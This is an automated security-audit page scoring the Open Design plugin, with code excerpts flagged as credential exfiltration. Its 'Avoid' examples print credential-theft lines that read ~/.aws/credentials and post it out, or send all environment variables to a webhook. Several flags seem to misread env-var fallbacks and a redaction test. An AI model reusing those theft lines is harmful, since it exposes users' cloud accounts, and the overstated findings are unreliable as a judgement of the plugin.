Open Design— plugin

Open Design — independently scanned and version-tracked by SaferSkills.

by nexu-io·Plugin·github.com/nexu-io/open-design
Review on GitHub →

Is Open Design safe to install?

SaferSkills independently audited Open Design (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 11 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
●●○○○○○○○○
↑ +0 since first scan (15 → 15)Re-scan~30s
Latest scan
ScannedJun 26, 2026 · 28d ago
Scans run1 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 11 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 11 flagged

Securityscore 0 · 11 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · apps/daemon/src/storage/project-storage.ts×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (const accessKeyId = env.OD_S3_ACCESS_KEY_ID …). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptapps/daemon/src/storage/project-storage.ts· typescript
413// setups (`aws configure` exporters, IAM-role pods) drop in
414// without renaming.
415const accessKeyId = env.OD_S3_ACCESS_KEY_ID ?? env.AWS_ACCESS_KEY_ID ?? '';
416const secretAccessKey = env.OD_S3_SECRET_ACCESS_KEY ?? env.AWS_SECRET_ACCESS_KEY ?? '';
417const sessionToken = env.OD_S3_SESSION_TOKEN ?? env.AWS_SESSION_TOKEN;
Occurrences
3 occurrences · first at L415, also L416, L417
Show all 3 locations
Line
File
L415
apps/daemon/src/storage/project-storage.ts
L416
apps/daemon/src/storage/project-storage.ts
L417
apps/daemon/src/storage/project-storage.ts
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · apps/daemon/tests/redact.test.ts×2
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (expect(redactSecrets('AWS_ACCESS_KEY_ID=AKIAIOSF…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptapps/daemon/tests/redact.test.ts· typescript
34 
35it('redacts AWS access key id and Google API key', () => {
36expect(redactSecrets('AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE')).toBe(
37'AWS_ACCESS_KEY_ID=[REDACTED:aws_access_key]',
38);
Occurrences
2 occurrences · first at L36, also L37
Show all 2 locations
Line
File
L36
apps/daemon/tests/redact.test.ts
L37
apps/daemon/tests/redact.test.ts
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · apps/daemon/tests/storage.test.ts×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it (it('falls back to AWS_ACCESS_KEY_ID / AWS_REGION…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerptapps/daemon/tests/storage.test.ts· typescript
249});
250 
251it('falls back to AWS_ACCESS_KEY_ID / AWS_REGION when the OD_-specific knobs are unset', ()
… (4 chars elided on L251)
252const storage = resolveProjectStorage({
253projectsRoot: tmp,
Occurrences
3 occurrences · first at L251, also L258, L259
Show all 3 locations
Line
File
L251
apps/daemon/tests/storage.test.ts
L258
apps/daemon/tests/storage.test.ts
L259
apps/daemon/tests/storage.test.ts
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256a7005f9a916d1efa…rubric 365aacaView on GitHub
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · .github/workflows/discord-resolved.yml×3
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (https://discord.com/api/webhooks/*) ;;). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

The exact value spotted
excerpt.github/workflows/discord-resolved.yml· yaml
150fi
151case "$WEBHOOK" in
152https://discord.com/api/webhooks/*) ;;
153https://discordapp.com/api/webhooks/*) ;;
154*)
Occurrences
3 occurrences · first at L152, also L153, L156
Show all 3 locations
Line
File
L152
.github/workflows/discord-resolved.yml
L153
.github/workflows/discord-resolved.yml
L156
.github/workflows/discord-resolved.yml
How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})
Safer pattern# user-supplied target; send only a benign status message requests.post(config.webhook_url, json={"status": "build complete"})
Framework references
OWASPLLM02ATLASAML.T0025CWE-200
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01sha256313eeba70f25d732…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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